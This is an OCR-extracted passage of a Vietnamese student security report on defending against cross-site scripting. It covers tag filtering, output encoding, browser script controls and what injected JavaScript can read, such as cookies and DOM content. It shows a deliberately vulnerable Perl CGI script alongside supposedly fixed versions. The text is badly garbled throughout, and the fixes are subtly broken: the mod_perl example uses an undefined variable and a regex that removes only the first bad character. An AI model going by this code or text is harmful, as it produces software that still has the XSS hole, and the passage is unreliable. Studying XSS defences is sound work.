v Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ <script> hoặc dong cac the Script trong thẻ <comment> coI đoạn Script đó như là một đoạn

trích dẫn thơi

* Lọc ra bất kì một đoạn ma J avaScript/Java/VBScript/ActiveX/Flash Related

Lọc dâu nháy đơn hay kép

Y Loc ki tu Null

v Xóa nhiing ki tu “>”, “<” hoac Output Encoding các dòng như sau

+ <&lt > &gt;

+ (&#40; ) &#41;

+ #&135, & &MS,

Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng v Mã hóa

Lỗi XSS có thể tránh được khi máy chủ Web đảm bảo những trang phát sinh

được mã hóa (encodins) thích hợp để ngăn chạy chạy các script không mong

muốn

Mã hóa phía máy chủ là một tiễn trình mà tất cả nội dung phát sinh động sẽ đi qua một hàm mã hóa nơi mà các thẻ script sẽ được thay thể bởi mã của nó

Nói chung, việc mã hóa(encoding) được khuyến khích sử dụng vì nó khơng u

cầu bạn phải đưa ra quyết định những kí tự nào là hợp lệ hoặc không hợp lệ.Tuy nhiên việc mã hóa tất cả dữ liệu không đáng tin cậy có thể tốn tài nguyên và

ảnh hưởng đến khả năng thực thi của một số máy chủ

v Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu

hay không có một bộ lọc phù hợp Chính vì vậy bạn phải có những cách riêng để giải quyết

Trang 25

AN NINH MANG 2=

trường hợp này thẻ seript sẽ được đổi thành script Như vậy nó sẽ vẫn được in ra màn hình mà khơng hè gây nguy hiểm cho người sử dụng

Tơi lẫy ví dụ với script search.cgi với mã nguôn là:

# /usr/bin/perl use CGI; my $cgi = CGI->new(); my $query = $cgi->param(‘query’); print $cgi->header();

print "You entered $query";

Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu được nhập vào Dĩ nhiên là khi m ra, nó sẽ 1n ra dưới dạng đoạn mã HTML, như thế nó khơng chỉ khơng in ra chính xác những dữ liệu vào một cách trực quan mà còn có tiềm ân lỗi XSS

Như đã nói ở trên, để có thể giải quyết vẫn đề này, chúng ta có thể mã hố các kí tự đặc biệt của HTML với hàm HTML::Entities::encode() Như vậy ta có thể có một

mã nguồn hoàn hảo hơn như sau:

#!/usr/bin/perl use CGI; use HTML::Entities; my $cgi = CGI->new(); my $text = $cgi->param(‘text'); print $cgi->header();

print "You entered ", HTML::Entities::encode($text);

Tất nhiên với phương pháp này bạn cũng có thể áp dụng đối với các ngôn ngữ

Web Application khác (ASP, PHP ) Để kiểm tra việc lọc và mã hoá dữ liệu trước

Trang 26

ANNINHMẠNG 2⁄2

trình tir http://www.mricon.co /phpfilter.html Loc và mã hoá các dữ liệu cho vẫn là

cách tốt nhất để chống XSS nhung néu ban dang str dung mod_perl trén Apache Server thi bạn có thê dùng ngay module Apache::TaintRequest Khi đó mã nguồn chương trình sẽ có dạng:

use Apache::TaintRequest;

my $apr = Apache: :TaintRequest->new(Apache->request);

my $text = $apr->param('text'); $r->content_type("text/html");

$r->send_http_header;

$text =~ s/[^A-Za-z0-9 ]//;

$r->print("You entered ", $text);

2 Đối với người dùng

Cần cầu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ

kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ

quyết định

> Dùng Firefox: Có thể cài thêm tiện ích(Add-on Firefox) YesScript - kiếm

soát script từ web

> Dùng IE thì ta có thể vào Options/Setting / chúng ta Disable Script > Tương tự với Google Chrome và các trình duyệt khác

Khi chúng ta vào một trang web mới thì ta cần phải cân nhắc khi click vào các

link, và với email chúng ta cần phải kiểm tra các link hay những hình ảnh quảng

Trang 27

AN NINH MANG 22

VIII PHAM VI VA TINH KHA THI CUA PHUONG PHAP TAN CONG BANG XSS

Mã JavaScript độc có thê truy cập bắt cứ thông tin nào sau đây:

¢ Cookie cé dinh (của site bị lỗi X58) được duy trì bởi trình duyệt

¢ RAM Cookie (cua site bị lỗi XSS)

- Tên của tất cả các cửa số được mở từ site bị lỗi XSS

‹ Bất cứ thông tin mà có thể truy cập được từ DOM hiện tại (như value, mã HTML )

Trong thời gian vừa qua ta thấy rằng phương pháp tấn công vào lỗi XSS của các trang web vẫn nằm ở con số rất cao chỉ sau SQL Injection Cho nên phương pháp tân công XSS vẫn được coi như là rất khả thi để thực hiện và việc tân cơng vẫn cịn

rộng rãi IX ĐÁNH GIÁ Cross-Site Scripting Gross-Site Insufficient Request Forgery Authentication

Các hiểm họa trong môi trường Internet

Trang 28

AN NINH MANG 22:

tính đúng đăn của đữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên

cảnh giác trước khi bước vào một trang Web mới hay khi nhận được một email rất

thu hút nào đó Có thể nói, nhờ vào sự cảnh giác của người dùng thì 90% đã đạt

được sự bảo mật trong kĩ thuật này

TAI LIEU THAM KHAO:

1 Security - 2009 - Network security guide -COMPTIA

Security - 2010 - 7 deadliest attacks - Web app

Ngày đăng: 07/12/2016, 09:52

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w